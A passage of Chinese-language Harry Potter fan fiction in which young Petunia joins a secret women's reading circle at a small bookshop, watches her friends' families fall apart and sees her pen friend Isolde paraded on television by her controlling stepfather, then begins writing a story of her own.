索菲笑了:“星期三晚上18:30分,学校门口出来的街道左拐进去直走,我在第二棵树下等你。”
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怎么还不下课,星期三的下午,佩妮盯着窗户外面的太阳想。
普尔佳坐在她的身后,躲在佩妮的身影里在睡觉,这几天她来上课了,但是眼下的黑眼圈看起来很严重。
她们有尝试过去找薇拉,但是再去薇拉家的时候,薇拉家的房子贴上了封条,里面一个人也没有。薇拉和她的妈妈,还有弟弟就好像凭空消失了一样。
她们没有薇拉的地址,甚至都没有办法给她写信。
我们不是好朋友吗?为什么不给我们寄信呢?佩妮想,她把视线从窗户外面收回来,趴在桌子,赶走心底里的那些事情。
今天晚上她要去见索菲,索菲给她推开了一扇新世界的大门,但是索菲有时候又让佩妮感到一丝不安。
想到今晚的会见,佩妮既期待
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又紧张。
好不容易挨到放学,佩妮和普尔佳收拾好东西,背上书包一起踏出了校园,佩妮心想,普尔佳这段时间终于能来上课了,是不是家里的事情轻松了一点,她们有一段时间没有一起玩了,如果普尔佳今天约自己怎么办,可是她也约了索菲,要不要邀请普尔佳一起去呢?但是这是她和索菲的第一次见面,如果带普尔佳的话……
“普尔佳”
“佩妮”
她们同时开口。佩妮让普尔佳先说,普尔佳抱着她的书包:“佩妮,我很抱歉,今晚我们还是不能在一起玩。”
佩妮的心中先是一松,但是随后又是一阵禁锢感。
普尔佳低着头不去看佩妮,她的右脚尖一直在反复摩擦地面上的石灰,拖出一条长长的痕迹:“我很抱歉佩妮,作为朋友却一直没能抽出时间陪伴你们,但是你也知道我家的情况,我感觉我们失去了薇拉,我不想再失去你了。我的意思是,我说,我们还是朋友吗?”
佩妮看着普尔佳,她摸上普尔佳黑色的卷发:“我们不是一直是朋友吗?”
普尔佳长舒了一口气,但她还是没有抬头看佩妮。
佩妮看着普尔佳跨上她的单车,匆匆忙忙骑远,一直到拐角看不见了,她才蹬上自己的单车,慢慢骑回家。
吃完晚饭,佩妮来到索菲说的地方,沿街数到第二棵树下,站在那里等她。太阳已经快沉进地平线了,但是路灯还没有亮起来,学校早就已经封锁了校门,四周昏暗又寂静,看不见一个人影,不远处的小巷偶尔传来一两声狗叫。
佩妮突然无法抑制地陷入了恐慌之中。
万一索菲是骗自己的怎么办?
万一她根本就不会来,这从头到尾都是一场恶作剧呢?
“嘿,佩妮。”有人在后面拍了拍佩妮的肩膀,吓了她一大跳,佩妮回头一看,就看见了索菲那张漂亮的脸蛋,佩妮勉强露出了一个微笑。
“嘿,你不会是被吓坏了吧,你的笑比哭还难看。”索菲惊讶地笑起来,在佩妮茫然又吃惊的眼神中,她抓住了佩妮的手,不由分说地再次把她拉走了:“好了,别耽误时间了,我们要出发了。”
佩妮被索拉带着拐过好几条街道,昏暗的光线中她根本看不清走了那些路,她只知道索菲带着她穿过了好几排亮着灯的小屋,走了好长好长的一段路,最后停到了一栋建筑前。
19:00点到了,街道纷纷亮起了灯。
佩妮茫然地被索菲牵着手,拉到路灯下。
在耀眼的灯光下,她发现自己站在一间不太大的,发出橘黄色灯光的小店面前,借着灯光,佩妮看见门口挂着的牌子上写着:
——“灰与榆书店成立于1965年”
佩妮从来没有注意到科克沃斯还有这样一间小小的书店。
店门口站了一个穿着一身半旧职业裙的胖胖的妇女,看到索菲就迎了上来,但是看到索菲身后牵着的佩妮的时候,那个妇女尖叫了一声:“嘿索菲,你怎么可以带一个这么小的孩子过来。”
“嘿,诺拉,她是我的学妹,她已经不算小了,她也喜欢看浪漫小说,人我都已经带来了,你难道还不让她进去吗?”
“好吧好吧,索菲,你总是这样,我们谁都拿你没办法。既然来了,那就进来吧,总之,欢迎你们来到——”那个胖胖的叫诺拉的女人为索菲和佩妮推开书店的门,晃响挂在门口的风铃,一股柑橘混合着佛手柑的清香携着书店里的暖风迎面扑来。
“诺拉的阅读之夜。”*
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21. chapter20
佩妮走进这间不算大的书店,它看起来只有图书馆六分之一个的空间那么大,但是里面摆了足足六列书架。这些书架只有三层,但是每一层上都列满了各种颜色的书籍。
屋内的装潢是棕绿色调的,房子面积不大,但是很高,有两层,楼上传来脚步声和椅子拖动木地板的声音。佩妮抬头看,屋顶正中悬吊一顶散开着叶子的仿水晶吊灯,只有正中间的灯还亮着微弱的橘黄色。墙壁上装点了各式各样的干花,风铃和木质框画,灯光太微弱了,佩妮并看不太清具体的情景。
空气中弥漫着柑橘和佛手柑的清香。
“孩子们,这边。”诺拉站在一条逼仄的通往二楼的深棕色木楼梯上,提着一盏不知道什么时候拿在手里的灯,为她们照亮脚下的路:“小心阶梯。”
佩妮踩上第一层木阶梯,阶梯发出一声似乎难以承受的吱呀声。
但是还没有等她犹豫,索菲在佩妮身后推搡着她,语气不耐烦地说:“快点上去佩妮,动作快点,我等不及了。”
佩妮只好提起裙子,咬牙快步踏过咯吱咯吱响的老旧楼梯,在诺拉的带领下推开了二楼紧闭的房门。
光线一下就亮了起来,佛手柑和柑橘的香味变得浓烈起来,里面传来女人的谈话声和笑声。
二楼也是一个不大的小房间,正对面是一扇开了一条缝的雕花窗户,前面放了一块小黑板,房间里放了好多张矮脚小木凳,一个连一个围成一圈,佩妮的右手边有一张高脚凳被固定在地板上,上面放着一壶冒着热气的茶和杯子,旁边还有一个小的敞口玻璃瓶,里面插着几根熏香,佛手柑和柑橘的香味,就来自这里。
不大的房子里坐的全是女人,佩妮数了数,里面有5位。一个黑色头发的看起来30多岁的女人穿着灰色的羊毛开衫和裙子,斜靠在黑板上,脸上带着笑容,端着一杯茶,对下面坐着的3位女性说什么,她们不一会儿就爆发出一阵热烈的笑声。另外一位身材纤细高挑的女人就在充当吧台柜的高脚凳上给自己倒着一壶茶,她看到诺拉,笑着说:“噢,诺拉,你们终于来了。”
佩妮注意到,这群女人当中有看起来像妈妈的年龄,有的看起来年轻一些,又有年龄更大的女性。最重要的是,二楼也有很多很多书,高脚凳旁,小黑板旁边还有矮木脚凳旁都放了好几本书,这些女人她们的手上或者手边都有一本书。
佩妮是这间房子里,最小的那个。
索菲扒开佩妮,走进去,找了一个小板凳坐下来,声音听起来很开心:“嘿,我带了一个新朋友来。”
“你们好,我我是佩妮。”目光纷纷落到佩妮身上,置于这些陌生的目光下,佩妮一下就感到脸红了起来,但是她感受到这些打量的目光十分温和,且不带审视,于是她慢慢镇定下来。
“噢,让我们欢迎新朋友,哦,新的小朋友。”那个黑色头发,穿羊毛衫看起来20出头的女性举起手来,对佩妮打招呼,她着重了那个小字的发音。
“嘿,天呐,这孩子多大了?她个子不小,你有14岁吗?不对,我打赌,她才12岁。”一个坐在矮凳子上,穿着深蓝色裙子,看起来40岁左右的女性回头看着佩妮。
“呃,我12岁了。”佩妮结结巴巴地说。
那个女性立刻带着责备的语气转头对索菲说:“她太小了,你不应该带她来看这些书。”
索菲耸耸肩:“她不小了,她很喜欢这些书,我只是更遗憾没有早在12岁的时候就加入你们。”
另外一个声音听起来很轻,戴眼镜的女性推了推自己的眼镜,很温柔地说:“她可以看这些书了,维吉拉,对于她来说,看这些书难道不比洗衣拖地,缝补没完没了的衣服,帮爸爸妈妈带弟弟妹妹更好玩吗,你不是也这么觉得的吗?”
“我没有不让她看,”维吉拉有点不满“我是觉得她太小了,有一些内容不适合她。”
诺拉从后面走过来,温暖的手将佩妮拉到凳子上坐下来:“我会给她挑选最适合她的书的,我可是本书店最优秀的导购。”
“我们相信你诺拉,”那个一开始倒茶的女士给佩妮端过来一杯热茶,走过佩妮的时候,衣角温柔地拂过佩妮的膝盖,带来一股更浓烈的佛手柑混合柑橘的香味:“我们坚决拥护每一个女孩做美梦的权利。”
大家都笑了。
“好了,诺拉,抓紧时间,快点告诉我们,出版社又给你寄了什么新的好书,我们等你的惊喜快等不及了。”另外一个女人说。
诺拉拾起一摞书,走到小黑板边上,原先的那个黑发女人退下来,将位置让给她。
佩妮环视了一下,大家眼睛都亮晶晶地看着诺拉。
“第一本是埃文书屋给我寄过来的,《火与花》,刚上市,但是上市一周就在伦敦销量断层第一了,凯瑟琳是一个天才,我敢打赌你们会喜欢它。”
“第二本是《美林的女主人》,一本哥特式浪漫小说。讲述了一个女人在一栋古堡里,唤醒了一名吸血鬼伯爵,最后征服了她的故事。”
“啊,我喜欢哥特浪漫小说,我要看这本。”那个声音很温柔的女人捧着脸这么说。
“一会儿我们会让你先挑的,放心,玛琳。”黑色头发的女人说。
“第三本是冬日烈火,这是我见过的最特别的女孩子。”
诺拉一连介绍了好几本书,等她讲完了女人们涌上去开始分享她手里的新书,索菲拿走了一本叫做《冬日烈火》的书。
“放下索菲,那本书暂时也不太适合你,你换一本。”诺拉叫住了索菲,索菲耸耸肩,换了一本书。
佩妮也试图挤进去,她想要看一眼那本《火与花》。那是一本崭新的书,暗红色的封面,烫金字体,像火焰一样。
但是诺拉抓住了她的手,给她塞了另外一本书,在佩妮略微有一些失望的眼神中,她说:“那本暂时还不适合你看,等你长大一点,别丧气,我们还会有很长一段一起走的路呢?哦对了,你能接受哥特浪漫小说吗?”
佩妮收回手,看着手里的这本书的封皮,一个女人打开一座高塔的窗户,背后有一个长发优雅的男人,但是他的牙齿是尖的。但是这个女人无端端让她想起了简爱里那个在夜晚中捧着蜡烛出现的疯女人,她有一些害怕。
“什么是哥特?”佩妮有一些困惑。
诺拉盯着她看了几眼:“算了,哥特浪漫小说对你来说可能有点太恐怖了,虽然实际上这本书它很安全,但是目前不适合你。”
诺拉把佩妮手中的这本书抽走了,塞了另外一本书过来。
“《海之宝》,这是一本很有意思的小说,不行,不行,她还是有一点点的不合适。”
这本书又被抽走了,另外一本书塞了过来。
“我知道了,《月光变奏曲》。这本书绝对合适,讲述了罗拉作为一名伟大的钢琴家的故事,噢,你真的可以看这本。”
佩妮接过了《月光变奏曲》,她没有着急翻开,而是坐下来,仔细打量着周围。
女人们快速地分走了诺拉带来的书,三三两两地聚在一起,有的开始翻开书读了起来。有些时候佩妮的视线会跟她们接触,她们在书后面露出一双弯弯的眼睛,然后又低头继续看书。
——她们的眼睛像妈妈。
这里没有人专门盯着佩妮,但是佩妮又感觉自己并没有被忽视,她感到非常的安心。
但是环境并不是像图书馆那么安静的,有些时候她们安静地读书,有些时候她们也交谈。
“我发誓,诺拉你的书店拯救了我。”
“我从来不知道我也会有爱上阅读的那一天。以前上学的时候,我最讨厌阅读课,分析语法句式,弄得我头都快大了。我丈夫嘲笑我不懂得欣赏文字,但是现在我知道了,不是我的问题,是那些书写得太晦涩难懂了,这些书就非常的好读。”
“在家里我根本没有办法读这些书,一旦我停下做饭啊,洗衣服啊,收拾房间的手,我丈夫就会指责我,他说他上班非常的辛苦,我每天呆在家里什么也不干,尽看这些书。”
“这些书里的主人公简直就是我的朋友,她们的生活多姿多彩,她们可以在海上扬
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帆起航,也可以在沙漠里穿梭寻找绿洲和珍宝,他们总说我们女人做不了这些事情,但是事实上,看看这些女主角,我们女人可以做很多的事情。”
“阅读是我自己的时间,这是我个人的事,我感到很放松。有时候遇到一些优美的文字,我会誊抄下来。”
“我可以在里面学习到新的知识,可以了解到不一样的地理和历史,上次我丈夫开车带我去一个新的地方,我说出了这个地方独特的地理风貌的时候,你们都不知道我丈夫看我的眼神,他以前从来不懂得正眼瞧我。”
“我在里面体验爱情。这里面的爱情是如此的波澜壮阔,它打动了我,虽然中间会经历很多波折,但是真正的男主角会一眼就看出哪个女人是与众不同的,是他的真爱。”
“没错,我最喜欢的那本小说,男主角一开始根本就不懂得欣赏女主角的内心,但是很快他就知道错了,他犯了弥天大错,他错把一颗金子般的心当作石头踏进了地里,当然,他也为自己的行为付出了代价,他差点失去了她。”
“我说,你说的那本小说我也看过,我觉得最后女主角原谅他太快了,她应该再考验一下他的真心才行。”
月亮爬上树梢的时候,诺拉把佩妮和索菲从书店推了出来。
聚会结束了,外面的冷风迎面吹来,吹得佩妮一个激灵。
“好了,你们该回家了。你们两个人路上要注意安全。索菲,记得保证佩妮安全到家。”诺拉叮嘱她们,“欢迎你们下个月第二个星期三晚上的到来,噢,佩妮,别这么看我,你知道的大家都有自己的事情,将大家凑齐并不是一件容易的事情。”
“当然,灰与榆和诺拉随时欢迎你们的到来。有些时候我需要人手帮我把书从地下室里搬出来晒晒太阳,或者把一些书送去他们的下单人那里去,索菲经常来帮我,但是那些书很重,这不是一项轻松的活,索菲一个人是不够的,如果佩妮你愿意,噢,报酬当然是有的。”
“噢,最重要的一点,你们两个要爱护好我的书,不准弄坏她。”
在一个分岔路口,索菲对佩妮说:“你一个人回家吧,记住,不要告诉包括你爸爸妈妈在内的任何人,最重要的是,不管被谁知道了,都!不准!供出!我!”
佩妮点点头,看着索菲飞快地跑进漆黑的街道,她转头,沿着月亮的指引,一路快速地跑回了家。
“佩妮给亲爱的伊索尔德:谢谢伊索尔德你的帮助,你给我的去图书馆的建议非常好。我逐渐开始弄懂了我喜欢什么,我想要什么。虽然有时候我还是有一些困惑。但是有一件事我非常确定,我开始继续阅读了,而且这感觉还不赖。我在阅读的过程当中还认识了一群人,她们都很善良,她们陪我一起阅读,等你暑假回来,我把她们介绍给你,我还将向你讲述一下这个学期发生在我身上的事情,有一点复杂,暑假告诉你,我真是迫不及待想要暑假见到你了,我有很多话想跟你说。”
“佩妮给莉莉:你的来信我已经收到,看来你在霍格沃茨确实过得不错。祝你考试顺利。噢,至于你说你那个朋友不太受欢迎的事,我由衷地建议他能够注意一下自己的外形,以及刻薄的说话方式。”
“伊索尔德给亲爱的花瓣小姐:是我的错,紫藤路17号的书确实太过于专业,很高兴你没有被它吓退,甚至继续阅读了起来。花瓣小姐一直都是一个勇敢的人不是吗?阅读真是一种奇妙的体验,我非常好奇你看的书,你新交的朋友,还有你想跟我说的话,我也有很多话想跟你说,对于暑假,我也迫不及待了。”
佩妮把伊索尔德的信和莉莉的回信都收了起来。莉莉给她回了一长串的信,信里感谢了佩妮对她考试的关心,但是自己对考试还是十分紧张,毕竟这是在霍格沃茨的第一次考试。随信还有一大段文字描写了自己如何劝说自己的朋友,但是朋友在学校里遇到的那些烦心事还是有增无减,看得佩妮非常得不耐烦。她心想,小怪物真是一个麻烦精,如果自己,她是绝对不能容忍一个麻烦精在身边持续不断给自己添麻烦的,有时候真不知道莉莉是怎么想的。
22. chapter21
佩妮非常喜欢诺拉给她推荐的小说,诺拉是灰与榆书店的主人,也是书店里唯一的导购,她有一个在钢铁厂打工的丈夫,还有一个嫁去了伯明翰的女儿。她的丈夫是一个沉默寡言的男人,很少出现在诺拉的书店,他唯一一次出现是因为诺拉地下室发电机坏了,他过来给诺拉换发动机,他走路的时候一瘸一拐的,佩妮偷偷观察了一下,发现那个男人左腿看起来比右腿细多了,藏在裤子里就像是一根没有发育的树枝,佩妮怕被发现,只囫囵看了一眼,就匆匆收回了目光。
“我的丈夫和女儿非常支持我的工作”诺拉骄傲地说,“我的女儿在伯明翰,她也会跟我一起看这些书,她说这些书带给她力量,有些书还是她先看了推荐给我的。”
在二楼翻书的女人们看着诺拉,都非常羡慕。
佩妮现在多了一个放学后的好去处,她有空就去灰与榆帮助诺拉,地下室有一些书很沉重,上面还有灰尘,只要走过去就会令人鼻尖发痒。刚开始她搬起来很吃力,但她逐渐就习惯了这些书的重量。
暑假如约而至。
他们在国王十字车站接到了莉莉。这次莉莉穿着非常正常,头发梳得整整齐齐,两只耳朵也非常规矩,没有冒出令人侧目的蒸汽,拖着一个大箱子,就是神情看起来有一些奇怪。
佩妮一直紧紧盯着莉莉,谨防她在半路又出什么幺蛾子。
莉莉乖乖地坐上车,直到佩妮坐到她的右边,莉莉突然抱住了佩妮的胳臂,瘪瘪嘴开始大声抱怨:“佩妮!我的魔法史考砸了,为什么要问我谁获得了“梅林勋章”啊,除了梅林其他的我也不知道啊,还有我怎么知道妖精为什么要叛乱啊,还要让我列出具体的事件顺序,我也没有去到现场啊!佩妮,我的魔法史会不会不及格啊。”
我就知道,她一个词也听不懂。佩妮把自己的胳臂从莉莉的手中拔出来,目视前方,不予回答。
结果莉莉不依不饶地追了上了,又抓住了佩妮的手:“出来后我问西弗,到底是谁镇压了第一次的妖精叛乱,我以为我填邓布利多教授已经够离谱了,他说那时候邓布利多应该还没有出生,他填了宾斯教授,教授他是幽灵欸,比我还离谱。”
佩妮忍无可忍:“莉莉,请你坐直,我要被你挤出车外了。”
莉莉撅了撅嘴:“不会的佩妮,爸爸把车门都锁上了,我牢牢抓着你呢,你不会被挤出去的。”
佩妮一句话都不想跟莉莉说。
暑假的时候,孩子们都回来了,大家开始忙起来,暑假期间还有很多带着孩子的家长来灰与榆,因为诺拉这里有很多孩子喜欢的绘画本,诺拉暂停了她的阅读之夜。索菲一到暑假就消失了,又或者说,索菲从来都很难抓到,她像一阵风,每次都来去匆匆,佩妮只在学校里偶尔的见到过她,只有在去诺拉阅读之夜的时候,索拉才会准时出现。
莉莉还是像上次一样带回了很多稀奇古怪的糖,但是爸爸这次运气不太好,抽到了呕吐味,看到爸爸冲去厕所的背影,本来想尝试第二颗糖的妈妈,默默收回了手。至于佩妮,她是绝对不会让自己冒这种风险的,哪怕是一丁点,都不行。
莉莉在家里大睡了几天,然后猫头鹰敲响了她们家的门。
“我的魔法史竟然是拿了一个E!”莉莉高兴坏了:“我要去问一下西弗,看看他的魔法史拿了什么成绩。”她匆匆跑出了门。
伸出遥控把电视机关掉,她看了一眼天边的太阳,今天天气很好,她也决定出门走走。
佩妮先去了一趟紫藤路17号,房间还是佩妮上次离去时收拾的模样,伊索尔德和埃莉诺还没有回来。
今天的天气真的很好,阳光照在佩妮的背上,晒得她暖洋洋的,天边云卷云舒,点缀在蓝色的天空上,就像一朵棉花糖。今天天空的颜色,就像伊索尔德的眼睛。
伊索尔德到底什么时候回来呢,明明上次寄来的信里写说她马上就要回来了,自己真的有很多很多话想跟她说。
佩妮一边低着头思考,一边漫无目的地往前走。
等她回过神来的时候,她突然意识到,这是前往薇拉家的路,薇拉家的房子就在不远处。
佩妮顺着路快步跑过去,前方她看到一辆黑色的车停在了薇拉家的大门口,也许是因为薇拉家消失太久了,房子边上还站了好几个人围观。
薇拉会不会就在车里,佩妮的心砰砰直跳。
车门打开了,佩妮停下了脚步。
从车里出来的是薇拉的妈妈,她看上去好像苍老了十岁,她穿着一身黑色的衣服,手里拿着一个牌子,走到了家门口。
佩妮在后面偷偷观察,那辆车后座空空如也,薇拉不在里面。
薇拉的妈妈走到自己家房子的门口,没有打开门进去,她把手上拿着的那个牌子挂到了门牌上,牌子上写着“房屋出售”。
突然有人从旁边冲了出来,从地上捡起了一颗石头,扔向了薇拉的妈妈,佩妮亲眼见到那颗石头砸中了薇拉妈妈的额角,那个人看起来很愤怒,他夸张地挥舞着手臂,嘴里很激动地大喊着:“B**T,还钱!”
他还想有别的动作,但是马上就被其他人拦住了。
薇拉妈妈摇晃了一下,没有倒下,黑色的车里钻出来另外一个人,佩妮觉得这个人有点眼熟,好像是之前警察局的人,这个人一手摁着薇拉妈妈的头,一手拉着薇拉妈
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妈的手,半强制半保护地把她带上了车。
佩妮放大的瞳孔里,薇拉妈妈没有任何表情,就像一只黑色的提线木偶,鲜红的血液从她的额角滴落下来,是她身上唯一的彩色。
佩妮机械地转身,她要去找普尔佳,她要告诉普尔佳这件事情。
可是走到普尔佳门前,她的家门口也站着一群人,普尔佳的妈妈疯了。她穿着睡衣,抱着普尔佳刚出生的妹妹,把她高高举起来。普尔佳就在她的阴影下,死死地抱着妈妈的胳臂,普尔佳的另外一个妹妹在台阶上放声大哭。
“我的人生被毁了,都是因为她的出生!”普尔佳妈妈的眼睛睁得大大的,好像看到了什么令人又愤怒又恐慌的事情。
“妈妈,不要这样子。”普尔佳摁住她妈妈的手,满脸都是泪水。
“医生说没有用了,她一辈子都会是个傻子,都怪我,我不应该把她生出来,生出来跟我一起受苦。”
“妈妈,把妹妹给我,我们回去吃药。”普尔佳强忍恐慌,去拉她妈妈的手。
她的呼唤好像唤起了普尔佳妈妈的神智,但是她低头看了一下普尔佳,表情扭曲起来:“你……你也不应该出生,你的妹妹也不应该出生。”
她重新举起了那个婴儿。
“不要啊妈妈!”普尔佳惊恐地大叫起来。
佩妮要尖叫起来了。
有一个魁梧的男人拨开人群冲了进去,他的手里拿着一瓶药,他把药塞进普尔佳站在台阶上的那个小妹妹的手里,劈手夺下那个女人手里的婴儿,把她塞进普尔佳的怀里,强硬地拖着那个陷入疯狂尖叫的女人进屋,一边进去的时候,一边转身冲着人群不耐烦地挥手:“回你们家去,这里没有什么好看的事情!”
佩妮死死地捂住自己的嘴,转身跟着退潮的人群离去。
不要发抖,她命令自己,这跟你一点关系都没有。
不要发抖,这些悲剧并没有亲身降临到你的身上,你是一个普通人,你的生活是平静且幸福的。
不要发抖,妈妈说的是对的,不应该再和薇拉有任何的来往了,也再也不要去找普尔佳了。
不要发抖,你早就有了新的朋友,你有了新的爱好,她们是你的朋友,但只是你曾经的朋友而已。
不要发抖,你能做什么?对,你什么也做不了,这是大人的世界发生的事情,薇拉的妈妈没有办法,普尔佳的爸爸也没有办法,你能做什么?
不要发抖,往前走佩妮,对,就这样往前走,不要回头,回去你正常平静的生活去。
今天的阳光真的很明媚,照进她的眼睛里使她产生眩晕感。
好冷,佩妮心想。
23. chapter22
佩妮不知道自己是怎么回到家里的,爸爸在沙发上看报纸,妈妈在厨房里忙碌,他们两个人都没有关注佩妮。
佩妮把自己关进洗手间,将自己的脸浸在了冷水里。她待了好一会儿,猛地抬起来,镜子被她溅出的水花弄得斑驳,反射出她苍白的脸色。
吸气,呼气,镜子里的佩妮重新露出镇静的表情,她把凌乱的头发解下来,重新用梳子梳好,一下两下,梳到头皮有一些发痛,她紧紧攥着梳子,手指关节泛白。
笑起来,不准哭。她说。
等到一切都平静下来后,她对着镜子里的自己露出一个微笑,调整好微笑的角度,转身走出卫生间,坐到爸爸的身边。
爸爸偏过头看着佩妮:“你下午跟谁玩去了?还是收到了什么好消息?佩妮宝贝,你看起来光彩照人。”
“没有爸爸,我觉得太热了,我洗了一把脸而已。”
“哦对了,有你的一封信,你切尔滕纳姆的笔友寄过来的。”
佩妮带着真诚的笑容拆开了那封信:
“给亲爱的佩妮:我暑假回不去了,卡尔威特先生要求我暑假回家一趟,他有十万火急的事找我,具体什么事情我也不知道,但是暑假我哪里都不能去了,我一点也不想跟他呆在一起,我想去紫藤路读书,和你一起读书。PS:难以想象,卡尔威特先生居然会有一天在校门口亲自堵我,我真是“荣幸至极”,对于我的失约,我感到万分抱歉,如果有时间我会给你写信,但是请不要给我回信,暑假后我才能收到信件。再次,对你的万分爱意和无限抱歉。伊索尔德“
“佩妮,马上要吃饭了,你还去房间吗?”爸爸在后面喊。
莉莉跟她的朋友玩回来了,今天不是那个令人讨厌的小怪物,是莉莉小学时的朋友,不知道莉莉会怎么给她的朋友解释自己的中学。
晚餐时间电视机的主权属于爸爸,此刻播放着新闻。
妈妈从厨房里端出晚餐后的甜品和红茶。
佩妮低头搅着自己碗里的汤。
“乔治·卡尔维特宣布将成立“怀特霍恩”基金会。在著名心理学家玛格丽特·怀特霍恩去世4年后,乔治·卡尔维特先生宣布将以前妻的名字成立“怀特霍恩”基金会。”
“乔治·卡尔维特先生是社会上著名的企业家和慈善家,他拥有远超大家想象的财产,也有远超大家想象的爱心,他非常关注政治问题和民生问题,让我们来采访一下他。”
“我很爱我的妻子,玛格丽特·怀特霍恩,她是一个优秀的心理学家,失去她,是心理学系的一个重要损失,也是我个人的一个重要损失,我至今都无法走出失去玛格丽特的阴影。”
佩妮听到了暑假里,在电话里对伊索尔德吼叫的那个声音,在电视里的声音
“哦对不起,我是一个感性的人,我的心中时常翻涌出我自己都难以抑制的爱。玛格丽特在世的时候,我非常支持她的事业,我相信女人跟我们男人一样是非常有潜力的。玛格丽特给我留下了一个女儿,虽然这不是我的亲生女儿——我和玛格丽特没有孩子,我和现在的妻子有一个儿子,已经10岁了,这不是重点。看,我的女儿伊索尔德就坐在台下,我很爱她,她也很爱我。”
镜头一转,扫到了观众席,佩妮一眼就看到了伊索尔德,她穿着精致的裙子,跟佩妮一样的金发梳得整整齐齐,头上斜戴着一顶淑女帽,面纱下面是佩妮那张熟悉的脸。
她很安静地坐在那里,什么表情也没有,只是在镜头扫过去的时候,她用那双眼睛轻轻瞥了一眼镜头。
镜头只给了伊索尔德短暂的几秒,就转回给了卡尔维特先生,佩妮没有看见埃莉诺。只有伊索尔德一个人,安静地坐在观众席上。
“看得出来卡尔维特先生非常疼爱自己的女儿。”主持人说。
“那是当然,我对她百依百顺,她对我提什么要求我都答应。所以我以她母亲的名义成立这支基金会,鼓励跟她一样的孩子追寻自己的梦想。”
“我从未要求她回报我任何事情,我对她是全然的付出。”
“她是玛格丽特的延续,我希望她过得好。只要她愿意,她可以选择任何道路——当然,我会为她指一条最稳妥的路。”
“卡尔维特先生真是充满了爱心。”
“那是当然,我非常看重爱,爱是维持这个世界最重要的纽带。我能拥有今天这个成就,主要是因为我的心中拥有很多的爱。它让我收获了很多的朋友,我不喜欢政治家的冰冷,我绝不从政,我和市长认识不是因为他的地位,而是因为我们是大学朋友,我们心连着心。"
"我的女儿虽然不是我亲生的,但我爱她,就像我爱世界上的每一个人。我想让爱成为世界的核心驱动力。”
“卡尔维特集团即将推出几件产品,他们的灵感就是来源于爱,我们一会儿将为大家详细介绍卡。”
佩妮连汤都喝不下去了,她觉得自己的嗓子被堵住了,耳朵被堵住了,什么都被堵住了。
电视机的声音有一点大,妈妈过去把电视机的声音拧小了,爸爸说:“不要太小了,刚刚声音正好。”
莉莉扑哧一下笑出来。
妈妈只好无奈地走过去把电视机的声音再次调大。
“卡尔维特确实还不错。”爸爸一边喝着红茶,一边评价,他用的是莉莉之前送给他的那个自动搅拌茶杯,他很喜欢这件低调的魔法产品“他们的生产线囊括很多产品,我试过几个,还不错。乔治·卡尔维特确实是个不错的人,怪不得能把企业做的这么大。”
不是的爸爸,佩妮在心中说。
妈妈坐到沙发上盯着电视机:“卡尔维特小姐竟然长得这么清秀,我还以为……我觉得卡尔维特小姐真的挺幸运,听说她也不是卡尔维特先生的亲生女儿,她母亲去世了,他还照顾她,把她打扮得这么漂亮,还以她母亲的名义成立基金会。”妈妈眼睛里闪着对伊索尔德裙子的纯粹的羡赏,这眼神就像她看百货橱窗里高级成衣时那样,沙发旁边就放着莉莉送给她的自动编织针,正在自己缝制着衣服,妈妈也很喜欢这件魔法礼物。
不是的妈妈,佩妮在心里说。
电视机里的那个孩子是她的好朋友,她的亲生父母都去世了,她的养父其实根本不管她,就连差点被绑架了都没有人来问候她。
她不想跟卡尔维特呆在一起,她说她想回紫藤路和佩妮一起读书。
她现在被囚禁在电视机里,她哪里都去不了。
——佩妮,不要告诉别人你在跟卡尔维特做朋友。
——万一我真的是一个魔法女巫,我就骑飞天扫帚来找你玩,第一个实现你的愿望。
伊索尔德不是魔法女巫,她只能被困在那个节目里,既不能来找她玩,也不能实现佩妮的愿望。
伊索尔德什么都做不了。
佩妮什么都
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做不了。
大家什么都做不了。
“佩妮,你怎么了?你看起来很难过,就像要哭了一样。”莉莉突然问。
佩妮粗鲁地抹了一下自己的脸,放下碗筷:“妈妈,晚餐很好吃,我什么事情都没有,我吃饱了,我上楼去一下。”
佩妮跑到二楼,低头看了一眼楼下,
餐桌上莉莉去年送给爸爸的自动搅拌杯在自动搅拌着爸爸的红茶,沙发上莉莉送给妈妈的自动编织毛衣的针在自己工作。他们不是魔法师,只能用一些莉莉带过来的最简单的魔法工具,甚至还不能给别人知道,但是爸爸妈妈很高兴,爸爸妈妈很满意。
楼下盥洗室里,塞勒涅开始习惯自己的位置,妈妈给她单独隔了一个隔间,它不再砰砰地到处乱撞抗议。
佩妮把自己的房门反锁,坐在自己的书桌前。
做点什么?
她胡乱地翻起自己的书桌,针线包?太无聊了,发带?晚上又不出门,书呢?暑假到了,答应了索菲,不能告诉别人,那些小说统统都在灰与榆,佩妮揉乱了自己的头发。
她好像什么也做不了。
她继续翻找着自己的书桌。
《傲慢与偏见》还给了图书馆,《简爱》与《小妇人》在紫藤路。
佩妮没有一本属于自己的书。
她翻到了那本《夏日的秘密》,她把这本笔记本掏出来,紧紧地抱在胸前。
这是佩妮唯一的一本书。
另外一本笔记本在翻找间掉了出来,佩妮弯腰去捡它,看见了笔记本第一页自己稚嫩的字体。
“伊莎小姐(Miss Is)有一天发现自己拥有了一个奇怪的能力,她发现她可以让植物听话,使花朵在她的手中开谢……”
她写下这句话的时候还是暑假,当时她觉得这个故事不够好,现在也觉得不够好。
佩妮把它捡起来,看了它两眼,然后撕掉了那页纸。
不对,撕纸的动作一顿,她的眼睛盯着放在桌子上的那本紫罗兰色的秘密。
——生活中可能会有一些时候,你的孤独没有办法分享出来,这时候你可以尝试写一点什么,当然这是我个人的经验之谈。
我能做点什么?
为什么上帝这么不公平,为什么伊索尔德不能是一名女巫呢?为什么薇拉和普尔佳不能是一名女巫呢?为什么佩妮自己不能是一名女巫呢?
佩妮深吸一口气,她捡起这本笔记本,把桌子上其他的东西,包括编织针、线团,发带都拨开,把这本笔记本放在桌子的中央。
现在这个故事真的不够好吗?
假如伊索尔德有魔法,假如薇拉和普尔佳都有魔法呢?
佩妮翻开笔记本,她做上帝,她有办法让伊索尔德,薇拉和普尔佳成为女巫。
她下笔,用了很大的力气,甚至部分笔画划破了纸张:
伊莎小姐(Miss Is)有一天发现自己拥有了一个奇怪的能力,她发现她可以让植物听话,使花朵在她的手中开谢,她的两个好朋友也拥有了这样的能力……
她决定偷一个故事送给她们。
“偷”这个词在佩妮舌头上滚了一圈,她像咀嚼晚餐的食物一样慢慢咀嚼着突然冒出来的这个词。
对,没错,魔法不属于她,这个故事也本不属于她,她只是故事之外的观众,但她决定要把莉莉的故事,偷来送给她们。
24. chapter23
"你为什么在这里?"看见跟在莉莉后面的佩妮,斯内普瞪大了他的眼睛。
他扭曲的表情不知为何让佩妮心中涌起一股微妙的快感。
